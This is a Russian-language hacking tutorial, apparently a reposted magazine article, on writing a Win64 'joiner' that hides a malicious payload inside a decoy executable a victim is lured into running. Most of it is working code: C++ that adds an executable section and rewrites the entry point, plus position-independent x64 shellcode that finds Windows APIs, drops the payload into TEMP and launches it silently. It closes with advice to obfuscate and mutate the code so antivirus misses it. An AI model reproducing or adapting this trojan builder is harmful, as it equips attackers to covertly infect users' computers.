Качественная склейка. Пишем джоинер исполняемых файлов для Win64

Качественная склейка. Пишем джоинер исполняемых файлов для Win64

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Пред­ста­вим, что нам нуж­но запус­тить некий злов­редный код на машине жер­твы. Дос­тупа к это­му ком­пу у нас нет, и кажет­ся, что самым прос­тым вари­антом будет вынудить жер­тву сде­лать все за нас. Конеч­но, ник­то в здра­вом уме не запус­тит сом­нитель­ное ПО на сво­ем девай­се, поэто­му жер­тву нуж­но заин­тересо­вать — пред­ложить что‑то полез­ное. Тут в дело всту­пает джо­инер — тул­за, которая встро­ит в полез­ную наг­рузку наш код и скрыт­но его запус­тит.

WARNING

Статья пред­назна­чена для «белых хакеров», про­фес­сиональ­ных пен­тесте­ров и руково­дите­лей служ­бы информа­цион­ной безопас­ности (CISO). Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный при­мене­нием информа­ции дан­ной статьи.

Су­щес­тву­ют ли готовые решения, пред­назна­чен­ные для склей­ки прог­рамм и вре­донос­ной наг­рузки? Безус­ловно, но здесь есть ряд проб­лем. Такие инс­тру­мен­ты детек­тятся анти­виру­сами, сто­ят денег и час­то про­дают­ся как сер­вис, то есть тре­буют опла­ты за разовую склей­ку. Бес­плат­ные и прос­тые спо­собы встро­ить полез­ную наг­рузку вида «помес­тим фай­лы в саморас­паковы­вающий­ся архив» и вов­се баналь­ный фуф­ломицин. Решение же, сде­лан­ное сво­ими руками, может быть улуч­шено, исправ­лено в слу­чае детек­та и, конеч­но, оста­нет­ся бес­плат­ным.

НЕМНОГО ТЕОРИИ

Джо­инер может и дол­жен скле­ивать два исполня­емых фай­ла. Пер­вый — визу­аль­ная обо­лоч­ка, кра­сивая кар­тинка и отвле­кающий маневр. Это то, что уви­дит юзер на экра­не сво­его компь­юте­ра, ког­да запус­тит исполня­емый файл. Вто­рой — полез­ная наг­рузка, которая запус­кает­ся без явно­го желания поль­зовате­ля. По умол­чанию вто­рой файл не будет как‑то скрыт: если в нем при­сутс­тву­ют окна или, нап­ример, гром­кое музыкаль­ное соп­ровож­дение, то это все юзер заметит. Поэто­му нуж­но обес­печить скрыт­ную работу полез­ной наг­рузки. Джо­инер лишь скле­ивает, но не мас­киру­ет вре­донос­ное при­ложе­ние.

А может ли джо­инер скле­ить исполня­емый файл с кар­тинкой? Может, но это не име­ет смыс­ла. Чис­то теоре­тичес­ки, если бы он скле­ивал исполня­емый файл и кар­тинку, на выходе все рав­но получал­ся бы исполня­емый файл, который не имел бы рас­ширения .jpg.png или дру­гого подоб­ного. Редак­торы и прос­мот­рщи­ки кар­тинок такой файл открыть не смо­гут. Либо мы получим кар­тинку, но в таком слу­чае не смо­жем запус­тить исполня­емый файл. Есть еще вари­ант, ког­да при­ложе­ние стар­тует и откры­вает кар­тинку через API ShellExecute. Дей­ствие занят­ное, но толь­ко в качес­тве фокуса — поль­зы от него никакой.

КАК УСТРОЕН НАШ ВАРИАНТ

На­шей целью будет Windows 10 x64, но, поняв прин­цип, лег­ко мож­но перера­ботать инс­тру­мен­тарий под дру­гие вер­сии семей­ства Windows. Код дол­жен работать и на Windows 7/8, но не тес­тировал­ся там. Мы будем исполь­зовать смесь С++ и ассем­бле­ра.

Алгоритм работы

Обо­лоч­ка — наш пер­вый ехе, который будет виден кли­енту. Это, так ска­зать, при­ман­ка. Наг­рузка — вто­рой ехе, в котором содер­жится злов­редный кон­тент. В обо­лоч­ку добав­ляет­ся допол­нитель­ная сек­ция, куда записы­вает­ся шелл‑код и наг­рузка. Управле­ние сра­зу переда­ется на шелл‑код, задача которо­го — извлечь наг­рузку, сох­ранить ее на диск и запус­тить. На вер­хнем уров­не все сво­дит­ся к тому, что мы получа­ем некий бай­товый мас­сив, который дол­жны положить в допол­нитель­ную сек­цию. Потом оста­нет­ся лишь испра­вить точ­ку вхо­да у обо­лоч­ки, и все — склей­ка завер­шена.

try {
 const auto goodfile = std::wstring(argv[1]);
 const auto badfile = std::wstring(argv[2]);
 const auto content = CreateData(badfile,goodfile);
 AddDataToFile(goodfile, content, L"fixed.exe");
 }
 catch (const std::exception& error)
 {
 std::cout << error.what() << std::endl;
 }

Добавление секции

Это самая прос­тая часть алго­рит­ма, поэто­му для разог­рева нач­нем имен­но с нее. Откры­ваем на чте­ние файл обо­лоч­ки:

std::ifstream inputFile(inputPe, std::ios::binary);
 if (inputFile.fail())
 {
 const auto message = Utils::WideToString(L"Unable to open " + inputPe);
 throw std::logic_error(message);
 }

Нам понадо­бит­ся биб­лиоте­ка для работы с PE-фай­лами. Это очень силь­но упростит нам добав­ление сек­ции, редак­тирова­ние ее атри­бутов, исправ­ление entry point и про­чее. Я выб­рал ста­рую про­верен­ную биб­лиоте­ку PE Bliss.

Но биб­лиоте­ку нуж­но нем­ного под­пра­вить, если мы хотим исполь­зовать С++17 для ком­пиляции про­ектов. Прав­ки эти дела­ются три­виаль­но и сос­тоят в том, что нуж­но уста­рев­ший auto_ptr сме­нить на unique_ptr. Из‑за этих пра­вок код биб­лиоте­ки я пред­ложил бы хра­нить непос­редс­твен­но в сво­ем репози­тории, а не исполь­зовать submodule. Сек­ция добав­ляет­ся так:

auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
 pe_bliss::section newSection;
 newSection.readable(true).writeable(true).executable(true); // Секция получает атрибуты read + write + execute
 newSection.set_name("joiner"); // Имя секции
 newSection.set_raw_data(std::string(data.cbegin(), data.cend())); // Контент секции
 pe_bliss::section& added_section = peImage.add_section(newSection);
 const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
 {
 const auto num = value / aligned;
 return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
 };
 peImage.set_section_virtual_size(added_section,
 alignUp(data.size(), peImage.get_section_alignment())); // Виртуальный размер секции выравнивается в бОльшую сторону
 peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));

Пос­ледняя стро­ка зас­лужива­ет отдель­ных ком­мента­риев. Там меня­ется точ­ка вхо­да, но новая EP (entry point) выс­тавля­ется не на самое начало новой сек­ции, а на начало со сме­щени­ем, которое рав­но раз­меру струк­туры HEAD. Эта струк­тура выг­лядит так:

struct HEAD
{
 unsigned long long sizeOfPayload;
 unsigned long long OEP;
};

Воз­ника­ет логич­ный воп­рос: что это за поля и отку­да берут­ся их зна­чения? Поле sizeOfPayload — раз­мер фай­ла наг­рузки, а OEP — зна­чение точ­ки вхо­да обо­лоч­ки до того, как мы добави­ли новую сек­цию и изме­нили на нее точ­ку вхо­да. Как будет выг­лядеть струк­тура новой сек­ции в целом, показа­но на кар­тинке.

Струк­тура новой сек­ции

Ассемблер и шелл-код

Код, который мы добавим в обо­лоч­ку, дол­жен соот­ветс­тво­вать опре­делен­ным тре­бова­ниям. И на язы­ке ассем­бле­ра добить­ся это­го соот­ветс­твия не прос­то лег­че — это единс­твен­но воз­можный путь. Раз­берем­ся почему.

Ког­да мы инжектим свой код в пос­торон­ний .ехе, мы дол­жны быть готовы к тому, что код запус­тится по слу­чай­ному адре­су без под­готов­ки со сто­роны заг­рузчи­ка. Не будет никаких извес­тных адре­сов API-фун­кций, релока­ции ник­то не испра­вит, поэто­му нуж­но писать самодос­таточ­ный код. Такой код иног­да называ­ют шелл‑кодом, хотя он и не явля­ется шелл‑кодом в понима­нии экс­плу­ата­ции уяз­вимос­тей. Это, ско­рее, код «в шелл‑код‑сти­ле».

Та­ким обра­зом, этот код:

  • дол­жен уметь работать с любого адре­са, неваж­но, по какому адре­су он ока­зал­ся в памяти;
  • дол­жен находить адре­са нуж­ных ему фун­кций.

Дельта-смещение

Ес­ли файл был соб­ран под адрес Х, а запус­тился с адре­са Y, то все абсо­лют­ные адре­са тре­буют кор­ректи­ров­ки. Раз­ница меж­ду эти­ми адре­сами как раз и называ­ется дель­та‑сме­щени­ем. Вот код для вычис­ления такого дель­та‑сме­щения:

call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx

Вы­зов фун­кции с уче­том это­го сме­щения выг­лядит так:

mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax

Строки, смешанные с кодом

Хра­нить стро­ки, перемен­ные (дан­ные) и код в раз­ных сек­циях для шелл‑кода неп­рием­лемо. Поэто­му здесь код и дан­ные сме­шива­ются. С локаль­ными перемен­ными на сте­ке нет никаких проб­лем. Со стро­ками исполь­зует­ся сле­дующий при­ем:

jmp short begin
 getprocaddr:
 db 'LdrGetProcedureAddress',0
 getdllhandle:
 db 'LdrGetDllHandle',0
begin:

То есть инс­трук­ции идут вмес­те со стро­ками. Конеч­но, стро­ки нель­зя выпол­нить, и мы дела­ем корот­кие (short) перехо­ды через стро­ки.

Поиск границ шелл-кода

Для это­го мы вос­поль­зуем­ся public-перемен­ными. В ассем­блер­ном лис­тинге, в самом начале нашего шелл‑кода, мы помес­тим перемен­ную. Она пос­лужит мар­кером начала. Точ­но так же мы помес­тим перемен­ную в кон­це кода.

PUBLIC sizeOfPayload ; Маркер начала
PUBLIC FinishMarker ; Маркер завершения шелл-кода
.CODE
sizeOfPayload QWORD 0 ; Поля структуры HEAD
OEP QWORD 0
launcher proc ; Начало самого кода

MASM, cmake и Visual Studio

Нам нуж­но под­ружить эти инс­тру­мен­ты. Macro assembler нужен для написа­ния шелл‑кода, потому что встра­ивать ассем­блер­ный код в прог­рамму на С++ с помощью __asm{} в архи­тек­туре x64 нель­зя. Соз­дает­ся отдель­ный файл с ассем­блер­ным кодом, обыч­но для таких фай­лов исполь­зуют рас­ширение .asm, а в CMakeLists.txt добав­ляют­ся такие дирек­тивы:

enable_language(ASM_MASM)
set(ASMSRC shellcode.asm)
target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})
if(CMAKE_CL_64 EQUAL 0)
 set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")
else()
 set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")
endif()

Те­перь мы получим воз­можность слин­ковать два объ­ектных фай­ла при усло­вии, что в С++ исполь­зует­ся клю­чевое сло­во extern. Нап­ример:

extern "C" unsigned long long sizeOfPayload;

Алгоритм запуска нагрузки

Шелл‑код работа­ет так:

  1. Ищет путь к дирек­тории TEMP.

2. Записы­вает туда файл с наг­рузкой.

3. Запус­кает этот файл на выпол­нение.

4. Переда­ет управле­ние ори­гиналь­ной точ­ке вхо­да обо­лоч­ки.

В виде лис­тинга это может выг­лядеть так:

void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
 STARTUPINFOA startup{0};
 PROCESS_INFORMATION procInfo{0};
 const char surprise[] = "payload.exe";
 const auto size = reinterpret_cast<gettemppatha*>(
 addresses->GetTempPathA)(0, nullptr);
 auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
 (nullptr, size + sizeof(surprise),
 MEM_COMMIT, PAGE_READWRITE);
 if (!location)
 {
 return;
 }
 reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
 reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
 auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
 (reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
 CREATE_ALWAYS, 0, 0);
 reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
 sizeData, nullptr, nullptr);
 reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
 reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
 nullptr,
 nullptr, nullptr, FALSE,
 0, nullptr, nullptr, &startup, &procInfo);
 reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
 reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
 reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}

Дан­ный код зас­лужива­ет более деталь­ного рас­смот­рения. Во‑пер­вых, он на С++. Но как же так? Ведь шелл‑код дол­жен быть на ассем­бле­ре? Да, шелл‑код на ассем­бле­ре. Прос­то вна­чале был этот код, а потом я его дизас­сем­бли­ровал и ско­пиро­вал резуль­тат (с неболь­шими прав­ками) в shellcode.asm. Во‑вто­рых, это — чис­тая фун­кция, то есть резуль­тат ее работы зависит толь­ко от вход­ных парамет­ров. Это важ­но, пос­коль­ку такие фун­кции генери­руют­ся ком­пилято­ром прак­тичес­ки сра­зу в нуж­ном нам шелл‑код‑сти­ле. В‑треть­их, тут нет какой‑то обра­бот­ки оши­бок, потому что в слу­чае ошиб­ки мы не дол­жны никак ее обра­баты­вать и вооб­ще обна­ружи­вать свое при­сутс­твие. Так­же важ­но, что все необ­ходимые API-фун­кции пода­ются нам на вход:

struct API_Adresses
{
 FARPROC GetTempPathA;
 FARPROC VirtualAlloc;
 FARPROC lstrcatA;
 FARPROC CreateFileA;
 FARPROC WriteFile;
 FARPROC CloseHandle;
 FARPROC CreateProcessA;
 FARPROC VirtualFree;
};

Для работы алго­рит­ма нам понадо­бит­ся восемь фун­кций. Но как най­ти их адре­са?

Поиск API в памяти

Ал­горитм дос­таточ­но прост:

  1. Ищем базу заг­рузки ntdll.dll.
  2. В таб­лице экспор­та находим две фун­кции: LdrGetDllHandle и LdrGetProcedureAddress.
  3. С их помощью находим адре­са вось­ми фун­кций из струк­туры API_Adresses.

Ба­за заг­рузки ntdll.dll ищет­ся бла­года­ря тому, что peb_loader_data при­над­лежит прос­транс­тву ntdll.dll:

GetNtdllByModuleList:
 mov rax, gs:[60h]
 mov ecx, 5A4Dh
 mov rax, [rax+18h]
 and rax, 0FFFFFFFFFFFFF000h
try_again:
 cmp [rax], cx
 jz short finish
 sub rax, 1000h
 jnz short try_again
finish:
 ret

Код пар­синга таб­лицы экспор­та был чес­тно поза­имс­тво­ван на прос­торах интерне­та (прав­да, ори­гиналь­ная вер­сия содер­жит баг, который в моем коде исправ­лен):

;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm proc
NtGetProcAddressAsm:
 push rcx
 push rdx
 push rbx
 push rbp
 push rsi
 push rdi
start:
found_dll:
 mov rbx, rcx ;get dll base addr — points to DOS "MZ" header
 mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header
 add r9, rbx ;add to base — now r9 points to _image_nt_headers64
 add r9, 88h ;18h to optional header + 70h to data directories
 ;r9 now points to _image_data_directory[0] array entry
 ;which is the export directory
 mov r13d, [r9] ;get virtual address of export directory
 test r13, r13 ;if zero, module does not have export table
 jnz has_exports
 xor rax, rax ;no exports — function will not be found in dll
 jmp done
has_exports:
 lea r8, [rbx+r13] ;add dll base to get actual memory address
 ;r8 points to _image_export_directory structure (see winnt.h)
 mov r14d, [r9+4] ;get size of export directory
 add r14, r13 ;add base rva of export directory
 ;r13 and r14 now contain range of export directory
 ;will be used later to check if export is forwarded
 mov ecx, [r8+18h] ;NumberOfNames
 mov r10d, [r8+20h] ;AddressOfNames (array of RVAs)
 add r10, rbx ;add dll base
 dec ecx ;point to last element in array (searching backwards)
for_each_func:
 lea r9, [r10 + 4*rcx] ;get current index in names array
 mov edi, [r9] ;get RVA of name
 add rdi, rbx ;add base
 mov rsi, rdx ;pointer to function we're looking for
compare_func:
 cmpsb
 jne wrong_func ;function name doesn't match
 mov al, [rsi] ;current character of our function
 test al, al ;check for null terminator
 jz bug_fix ;bugfix here — doulbe check of zero byte
 ;if at the end of our string and all matched so far, found it
 jmp compare_func ;continue string comparison
wrong_func:
 loop for_each_func ;try next function in array
 xor rax, rax ;function not found in export table
 jmp done
bug_fix:
 mov al, [rdi]
 test al, al
 jz short found_func
 jmp short compare_func
found_func: ;ecx is array index where function name found
 ;r8 points to _image_export_directory structure
 mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva)
 add r9, rbx ;add dll base address
 mov cx, [r9+2*rcx] ;get ordinal value from array of words
 mov r9d, [r8+1ch] ;AddressOfFunctions (rva)
 add r9, rbx ;add dll base address
 mov eax, [r9+rcx*4] ;Get RVA of function using index
 cmp rax, r13 ;see if func rva falls within range of export dir
 jl not_forwarded
 cmp rax, r14 ;if r13 <= func < r14 then forwarded
 jae not_forwarded
 ;forwarded function address points to a string of the form <DLL name>.<function>
 ;note: dll name will be in uppercase
 ;extract the DLL name and add ".DLL"
 lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name
 lea rdi, [rsp+30h] ;using register storage space on stack as a work area
 mov r12, rdi ;save pointer to beginning of string
copy_dll_name:
 movsb
 cmp byte ptr [rsi], 2eh ;check for '.' (period) character
 jne copy_dll_name
 movsb ;also copy period
 mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator
 mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack
 call r15 ;call LoadLibraryA with target dll
 mov rcx, r12 ;target dll name
 mov rdx, rsi ;target function name
 jmp start ;start over with new parameters
not_forwarded:
 add rax, rbx ;add base addr to rva to get function address
done:
 pop rdi
 pop rsi
 pop rbp
 pop rbx
 pop rdx
 pop rcx
 ret

Ког­да у нас появи­лись адре­са двух кра­еуголь­ных фун­кций LdrGetDllHandle и LdrGetProcedureAddress, даль­ше мож­но най­ти адрес фун­кции для любой уже заг­ружен­ной биб­лиоте­ки. Либа kernel32.dll тоже заг­ружа­ется лоаде­ром сра­зу, так что мы без проб­лем най­дем все инте­ресу­ющие нас адре­са:

GetProcedureAddressAsm:
 var_28= word ptr -28h
 var_26= word ptr -26h
 var_20= qword ptr -20h
 var_18= word ptr -18h
 var_16= word ptr -16h
 var_10= qword ptr -10h
 arg_0= qword ptr 8
 arg_8= qword ptr 10h
 arg_10= qword ptr 18h
 arg_18= qword ptr 20h
 mov [rsp+arg_10], rbx
 mov [rsp+arg_18], rsi
 push rdi
 sub rsp, 40h
 xor ebx, ebx
 mov rdi, rdx
 test rcx, rcx
 mov rdx, rcx
 mov ecx, ebx
 mov rsi, r9
 mov r10, r8
 jz short loc_14000689A
 cmp [rdx], cx
 jz short loc_140006898
 nop dword ptr [rax+00000000h]
 loc_140006890:
 inc ecx
 cmp [rdx+rcx*2], bx
 jnz short loc_140006890
 loc_140006898:
 add ecx, ecx
 loc_14000689A:
 mov [rsp+48h+var_28], cx
 lea r9, [rsp+48h+arg_0]
 add cx, 2
 mov [rsp+48h+var_20], rdx
 mov [rsp+48h+var_26], cx
 lea r8, [rsp+48h+var_28]
 xor ecx, ecx
 xor edx, edx
 call r10
 test rdi, rdi
 jz short loc_1400068D0
 cmp byte ptr [rdi], 0
 jz short loc_1400068D0
 loc_1400068C8:
 inc ebx
 cmp byte ptr [rbx+rdi], 0
 jnz short loc_1400068C8
 loc_1400068D0:
 mov rcx, [rsp+48h+arg_0]
 lea r9, [rsp+48h+arg_8]
 mov [rsp+48h+var_18], bx
 lea rdx, [rsp+48h+var_18]
 inc bx
 mov [rsp+48h+var_10], rdi
 xor r8d, r8d
 mov [rsp+48h+var_16], bx
 call rsi
 mov rax, [rsp+48h+arg_8]
 mov rbx, [rsp+48h+arg_10]
 mov rsi, [rsp+48h+arg_18]
 add rsp, 40h
 pop rdi
 ret

Не­поня­тен ассем­блер­ный код? Изна­чаль­но этот код тоже написан на С++:

FARPROC GetProcedureAddress(wchar_t* library, char* function,
 LdrGetDllHandlePointer* LdrGetDllHandle,
 LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
 const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
 UNICODE_STRING libraryName{ libNameLen,
 libNameLen + sizeof(wchar_t),
 library };
 HMODULE hModule;
 LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
 const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
 ANSI_STRING functionName{ functionNameLen,
 functionNameLen + sizeof(char),
 function };
 FARPROC result;
 LdrGetProcedureAddress(hModule, &functionName, 0, &result);
 return result;
}

Для запол­нения струк­туры с адре­сами исполь­зует­ся такой метод (далее при­веден его псев­докод):

API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
 LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
 API_Adresses result{};
 wchar_t* libname = L"kernel32.dll";
 result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
 LdrGetProcedureAddress);
 result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
 LdrGetProcedureAddress);
 return result;
}

Вся высоко­уров­невая логика выг­лядит сле­дующим обра­зом:

sizeOfPayload QWORD 0
OEP           QWORD 0
launcher proc
var_ntdllBase          = qword ptr -10h
var_ldrProcedureAddr   = qword ptr -20h
var_ldrLoadDll         = qword ptr -30h
var_delta              = qword ptr -40h
var_apis               = qword ptr -90h
    call delta
delta:
    pop rax
    mov rcx, offset delta
    sub rax, rcx
    sub rsp, 100h
    mov [rsp+100h+var_delta], rax
    jmp short begin
    getprocaddr:
        db 'LdrGetProcedureAddress',0
    getdllhandle:
        db 'LdrGetDllHandle',0
begin:
    mov rax, offset GetNtdllByModuleList
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ntdllBase], rax
    mov rcx, rax
    lea rdx, getprocaddr
    mov rax, offset NtGetProcAddressAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ldrProcedureAddr], rax
    mov rcx, [rsp+100h+var_ntdllBase]
    lea rdx, getdllhandle
    mov rax, offset NtGetProcAddressAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov [rsp+100h+var_ldrLoadDll], rax
    mov rdx, rax
    mov r8, [rsp+100h+var_ldrProcedureAddr]
    mov r9, offset GetProcedureAddressAsm
    add r9, [rsp+100h+var_delta]
    lea rcx, [rsp+100h+var_apis]
    mov rax, offset CreateAddressStructAsm
    add rax, [rsp+100h+var_delta]
    call rax
    mov r8, rax
    lea rdx, sizeOfPayload
    mov rdx, qword ptr [rdx]
    lea rcx, FinishMarker
    mov rax, offset DropToDiskAndExecuteAsm
    add rax, [rsp+100h+var_delta]
    call rax
    lea rax, OEP
    mov rax, qword ptr [rax]
    mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
    mov rcx, [rcx+10h]
    add rax, rcx
    add rsp, 100h
    jmp rax

Код работа­ет бла­года­ря тому, что раз­мер наг­рузки рас­положен в перемен­ной sizeOfPayload, а сам кон­тент вто­рого исполня­емо­го фай­ла — сра­зу за шелл‑кодом. Весь код про­екта дос­тупен по ссыл­ке: https://bitbucket.org/KulykIevgen/joiner/src/master/.

ВЫВОДЫ

Ко­неч­но, через какое‑то вре­мя любое анти­вирус­ное ПО научит­ся детек­тить этот код, но, пос­коль­ку он дос­тупен в виде исходни­ков, его мож­но модифи­циро­вать, обфусци­ровать, под­вергать мутаци­ям, получая каж­дый раз чис­тые фай­лы. А улуч­шения, несом­ненно, понадо­бят­ся.

Здесь понадо­бит­ся под­дер­жка и ста­рой доб­рой архи­тек­туры х86, и всей линей­ки Windows, да и над скрыт­ностью порабо­тать будет нелиш­ним. Сей­час ана­литик может уви­деть неч­то подоз­ритель­ное, прос­то пос­мотрев, какой сек­ции при­над­лежит точ­ка вхо­да, так как если она рас­положе­на в пос­ледней сек­ции, то файл под­вергал­ся модифи­каци­ям.

В сети час­то мож­но уви­деть жалобы, нап­ример на рас­простра­ните­лей «таб­леток от жад­ности» (кря­ков и кей­генов), за то, что в таком ПО мно­го тро­янских прог­рамм. Но теперь ты зна­ешь, как эти тро­яны туда попада­ют.

Источник



Report Page